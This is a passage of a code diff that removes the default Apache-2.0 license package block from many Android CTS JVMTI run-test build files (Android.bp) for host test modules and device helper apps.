--- a/hostsidetests/jvmti/run-tests/test-1933/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1933/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1933HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
index c9f867e..62a62ea 100644
--- a/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1933DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1934/Android.bp b/hostsidetests/jvmti/run-tests/test-1934/Android.bp
index 079f6de..301ffba 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1934/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1934HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
index 3c7dff0..2b73db8 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1934DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1936/Android.bp b/hostsidetests/jvmti/run-tests/test-1936/Android.bp
index ff1c9a5..6e3e1d7 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1936/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1936HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
index 2d6b7a3..4f15834 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1936DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1937/Android.bp b/hostsidetests/jvmti/run-tests/test-1937/Android.bp
index 695edb2..e85825b 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1937/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1937HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
index 0c01c23..b9005dd 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1937DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1939/Android.bp b/hostsidetests/jvmti/run-tests/test-1939/Android.bp
index b82555f3..6c5f257 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1939/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1939HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
index 15cc8a4..f0cf4dd 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1939DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1941/Android.bp b/hostsidetests/jvmti/run-tests/test-1941/Android.bp
index 7134464..80246a0 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1941/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1941HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
index bc98486..d0f3c0c 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1941DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1942/Android.bp b/hostsidetests/jvmti/run-tests/test-1942/Android.bp
index a5163e2..2649361 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1942/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1942HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
index e9c888f..7a7d4a8 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1942DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1943/Android.bp b/hostsidetests/jvmti/run-tests/test-1943/Android.bp
index a7efc95..2b8ff6c 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1943/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1943HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
index 9571e1d..afcbbd0 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1943DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1953/Android.bp b/hostsidetests/jvmti/run-tests/test-1953/Android.bp
index d2251b2..5cb0fc2 100644
--- a/hostsidetests/jvmti/run-tests/test-1953/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1953/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1953HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
index d56a461..663050b 100644
--- a/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1953DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1958/Android.bp b/hostsidetests/jvmti/run-tests/test-1958/Android.bp
index 721bb03..ce50088 100644
--- a/hostsidetests/jvmti/run-tests/test-1958/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1958/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1958HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
index c11ecb4..c3cd926 100644
--- a/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1958DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1962/Android.bp b/hostsidetests/jvmti/run-tests/test-1962/Android.bp
index 662cacc..b1a4087 100644
--- a/hostsidetests/jvmti/run-tests/test-1962/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1962/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1962HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
index 1741360..3790fdd 100644
--- a/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1962DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1967/Android.bp b/hostsidetests/jvmti/run-tests/test-1967/Android.bp
index 995959e..370596b 100644
--- a/hostsidetests/jvmti/run-tests/test-1967/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1967/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1967HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
index 79bafff..b3e1d87 100644
--- a/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1967DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1968/Android.bp b/hostsidetests/jvmti/run-tests/test-1968/Android.bp
index 1b57bf6..1c9f406 100644
--- a/hostsidetests/jvmti/run-tests/test-1968/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1968/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1968HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
index d92f49a..5a0a713 100644
--- a/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1968DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1969/Android.bp b/hostsidetests/jvmti/run-tests/test-1969/Android.bp
index fa5c6df..46975d5 100644
--- a/hostsidetests/jvmti/run-tests/test-1969/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1969/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1969HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
index 84524e9..b78ee72 100644
--- a/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1969DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1970/Android.bp b/hostsidetests/jvmti/run-tests/test-1970/Android.bp
index 94e1d9a..be85e20 100644
--- a/hostsidetests/jvmti/run-tests/test-1970/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1970/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1970HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
index d557923..4f0651f 100644
--- a/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1970DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1971/Android.bp b/hostsidetests/jvmti/run-tests/test-1971/Android.bp
index 1ac9d3a..db2d5ef 100644
--- a/hostsidetests/jvmti/run-tests/test-1971/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1971/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1971HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
index 8aa12c5..bb4dfed 100644
--- a/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1971DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1974/Android.bp b/hostsidetests/jvmti/run-tests/test-1974/Android.bp
index d1ccbe3..87a90ed 100644
--- a/hostsidetests/jvmti/run-tests/test-1974/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1974/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1974HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
index 516bbb4..da977ea 100644
--- a/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1974DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1975/Android.bp b/hostsidetests/jvmti/run-tests/test-1975/Android.bp
index 1d72113..e23cfa7 100644
--- a/hostsidetests/jvmti/run-tests/test-1975/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1975/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1975HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
index 0144c57..345a252 100644
--- a/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1975DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1976/Android.bp b/hostsidetests/jvmti/run-tests/test-1976/Android.bp
index fba22ee..38e8612 100644
--- a/hostsidetests/jvmti/run-tests/test-1976/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1976/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1976HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
index c1d2afa..ae91ef2 100644
--- a/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1976DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1977/Android.bp b/hostsidetests/jvmti/run-tests/test-1977/Android.bp
index 0b70b9a..3b76f5b 100644
--- a/hostsidetests/jvmti/run-tests/test-1977/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1977/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1977HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
index f311834..e5c0251 100644
--- a/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1977DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1978/Android.bp b/hostsidetests/jvmti/run-tests/test-1978/Android.bp
index 62bda0d..bb3bfce 100644
--- a/hostsidetests/jvmti/run-tests/test-1978/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1978/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1978HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
index b8da46d..523da34 100644
--- a/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1978DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1979/Android.bp b/hostsidetests/jvmti/run-tests/test-1979/Android.bp
index 8f26f89..bd812f7 100644
--- a/hostsidetests/jvmti/run-tests/test-1979/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1979/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1979HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
index 2d2f89b..a3c6ec5 100644
--- a/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1979DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1981/Android.bp b/hostsidetests/jvmti/run-tests/test-1981/Android.bp
index 510e0aa..4e1982d 100644
--- a/hostsidetests/jvmti/run-tests/test-1981/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1981/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1981HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
index cd338eb..98e452b 100644
--- a/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1981DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1982/Android.bp b/hostsidetests/jvmti/run-tests/test-1982/Android.bp
index 9e070ff7..f946542 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1982/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1982HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
index 07c2395..496e7ab 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1982DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1983/Android.bp b/hostsidetests/jvmti/run-tests/test-1983/Android.bp
index d165fd1..0a829ee 100644
--- a/hostsidetests/jvmti/run-tests/test-1983/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1983/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1983HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
index e22cc83..7645be6 100644
--- a/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1983DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1984/Android.bp b/hostsidetests/jvmti/run-tests/test-1984/Android.bp
index e84c4a8..4a5b859 100644
--- a/hostsidetests/jvmti/run-tests/test-1984/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1984/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1984HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
index bf406a1..f378084 100644
--- a/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1984DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
